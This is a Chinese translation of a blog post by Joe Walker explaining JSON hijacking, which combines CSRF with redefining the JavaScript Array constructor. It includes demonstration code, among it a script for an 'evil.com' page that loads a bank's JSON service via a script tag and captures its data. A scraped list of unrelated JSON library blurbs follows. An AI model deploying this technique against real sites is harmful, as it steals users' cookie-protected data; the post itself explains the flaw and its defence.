作者:Joe Walker
我最近看到过一些有关把JSON用于保密数据的讨论,而且我也不是很清楚有多少人了解其中的风险。
我个人认为JSON只能用于可公开的数据,其他数据都不能使用JSON,除非你使用的是无法预测的URL。
这里有两个问题。一个是CSRF(Cross Site Request Forgery,跨站点伪造请求攻击),它允许攻击者绕过基于cookie的身份认证,前些天我曾在Blog上介绍过这种攻击。另外,维基百科也说到了这个东西,你可以用CSRF在一个远程服务器上调用由cookie保护着的数据。“恶魔“先生可以利用这项技术把“无辜”女士的银行账号里的钱转到他的账户中。
还有一种则鲜为人知,那就是JSON/数组攻击,这可以让某个用户在Mozilla上偷取JSON数据,其实只要是任何使用当代的JavaScript解释器的平台都会都可以实施该攻击。
更新:不单单可以从Array偷数据,还可以从Object偷。
有很多种从一个服务器获得数据的方法,但这其中比较有趣的是XHR、iframe、脚本标签。如果不了解 JSON/数组 攻击,那很容易产生如下的结论:
XHR:浏览器跨域规则一开始就阻止了攻击者发出请求
iframe:攻击者可以嵌入一个指向一些远程服务器的iframe(在上面的例子中这个远程服务器就是银行的服务器),并用它来发送一些JSON,但是浏览器跨域规则阻止了来自攻击者所在域的脚本,这段脚本是用来读取响应的,因此这个JSON是安全的,因为它从来没有被eval过。
脚本标签:攻击者会嵌入一个指向远程服务器的脚本标签,而浏览器会把你的回复eval一把,然后浏览器会丢弃响应,这个JSON就是全部的相应,所以这是安全的。
这些参数的最后一个值得怀疑,JavaScript的动态特性将允许你重新对JSON赋值。
下面是它的工作原理,你可以用任何JavaScript控制台跟踪这段代码:
1. 重新定义Array构造器
function Array() { alert("hi"); }
2. 验证一下在创建数组时,这个构造器是否被调用
var a = [ 43 ];
3. 使用新功能修改这个数组
function Array() {
this[1] = 50;
}
var a = [40];
alert(a[0] + a[1]); //结果是90
所以我们能用一个script标签来调用保密的JSON数据,使用CSRF绕过cookie身份认证,然后用JSON/数组攻击在浏览器处理那个script标签时偷取JavaScript数据。
因此我们重新定义了Array构造器,实际情况下我们如何获得数据呢?下面的语法在当前版本的FireFox运行正常,虽然在我的知识范围内,这并不是JavaScript2标准的一部分,但是这段代码无法在IE/Safari/Opera下顺利运行。
在evil.com创建一个网页,用下面这段script标签:
<script type='text/javascript'>
function Array() {
var obj = this;
var ind = 0;
var getNext = function(x) {
obj[ind++] setter = getNext;
if (x) alert(Data stolen from array: " + x.toString());
};
this[ind++] setter = getNext;
}
</script>
<script type='text/javascript' src='http://bank.com/jsonservice'> </script>
出于演示目的,我已经重新定义了这个页面中的Array构造器,如果你在Firefox上,你将看到一个alert窗口。(译者注:演示示例请见原文)。
(如果你在blog聚集器中读取这个例子,上面的脚本会被过滤掉,所以它无法正常工作。你需要试一下这个页面。如果这段脚本没有被过滤掉,那我建议你马上更换一个新的聚合器,因为它有严重的安全问题。)
一句话:JSON在任何使用cookie来做身份认证的系统上都不安全。
有了DWR,虽然我们使用的是纯JavaScript它与JSON一样脆弱,但是DWR的CSRF保护能自动使用双重提交cookie模式来提供额外的保护。
我并不是提出这个问题的第一个人,Jeremiah Grossman在一年前用它黑了GMail。
分享到:
相关推荐
从服务端收到的json中有中文 然后JsonData jd = JsonMapper.ToObject(strJson); json中如有中文 会出现\uXXXX\uXXXX等 我改了下 上传了能解决此问题的litjson版本
在实际应用中,开发者可以使用这样的工具或库,通过简单的API调用来实现JSON到JSON Schema的转换,从而提高数据处理的可靠性和安全性。例如,如果你正在开发一个Web应用,你可以先将用户提交的JSON数据转换为JSON ...
在MFC应用程序中,你可能会在对话框类(如`MFCApplication1Dlg.cpp`和`MFCApplication1Dlg.h`)中处理用户输入或输出,并利用json11进行JSON数据的处理。例如,你可以创建一个成员函数来解析用户的输入JSON字符串,...
json3.js 【JS / JavaScript 中解析JSON的js包,JSON官方的JSON解析包】。JavaScript中解析JSON的js包,页面中引入json3.js,即可使用。 使用方法:JSON.parse(str), JSON.stringify(obj) 更多详情请参考博文: ...
threejs 中文json包,替换threejs官方的英文json就行了
Java服务端生成JSON是Web应用开发中的常见任务,主要用于数据交换。JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。在Java中,我们可以使用多种库来...
6. **JSON验证**:在编辑过程中,JSONEditor会实时检查JSON数据的语法合法性,确保数据符合JSON规范,避免因格式问题导致的问题。 7. **中文提示**:1.7.0版本的中文提示版特别为中文用户提供了友好的操作提示,...
然后,利用QJsonDocument的fromStream()方法从QFile对象中读取JSON数据,并将其转换为QJsonDocument对象。 ```cpp QJsonDocument doc = QJsonDocument::fromJson(file.readAll()); ``` 3. 检查解析是否成功: 通过...
最好用的c++json库 nlohmann json源代码最好用的c++json库 nlohmann json源代码最好用的c++json库 nlohmann json源代码最好用的c++json库 nlohmann json源代码最好用的c++json库 nlohmann json源代码最好用的c++json...
6. 安全性和性能:文章中并没有详细提及,但在处理前端请求时应当考虑到数据的验证和过滤,防止注入攻击等安全问题。同时,在进行大量的数据交互时,应当考虑网络带宽的消耗和页面加载的性能问题。 通过以上方法,...
lua自带json解析不支持\ 然而lua并不是只有一个json库 因此可以使用其他的模版
在这些浏览器中,没有内置的JSON.parse()用于解析JSON字符串,也没有JSON.stringify()用于将JavaScript对象转换为JSON字符串。这就导致了一个问题:当需要处理JSON数据时,开发者需要寻找替代方案。 "JSON2"是一个...
比如你在浏览器中可以查看从服务器端传回来的json数据,这些数据可能没有经过格式化的,也或者是经过了unicode编码,没有缩进,没有换行等等,造成阅读有一定困难。那么使用jsonview,可以自动对json数据转码,缩进...
JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和...理解并掌握这些内容,开发者能够有效地在JSP项目中利用JSON进行数据交互,提升应用程序的性能和用户体验。
在Java开发中,JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,它使得人们可以轻松地阅读和编写数据,同时也易于机器解析和生成。JSON格式被广泛应用于Web服务和应用程序之间的数据通信,因为它的...
更安全的方法是使用专门处理JSON的工具,如`jq`,但鉴于标签中未包含`jq`,我们将不在此处展开。 在实际应用中,您可能还需要考虑错误处理、文件备份、以及确保脚本不会破坏JSON的格式。例如,如果JSON文件过大,...
在IT行业中,JavaScript Object Notation(JSON)是一种轻量级的数据交换格式,广泛应用于服务器与客户端之间的数据传输,尤其是在Web应用程序中。JavaServer Pages(JSP)是Java平台上的一个动态网页技术,常用于...
`json-lib`提供了异常处理机制,如`JSONException`,帮助你在程序中捕获并处理这些错误。 在实际开发中,使用`json-lib`库可以简化JSON数据的操作,提高开发效率。不过,值得注意的是,尽管`json-lib`历史悠久,但...
在C#编程中,处理JSON数据是常见的任务,特别是在与Web服务交互或处理API响应时。JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,因其易读易写而被广泛采用。在这个场景中,我们将关注如何使用C#和...
C#接收Json格式数据,中文出现乱码解决方法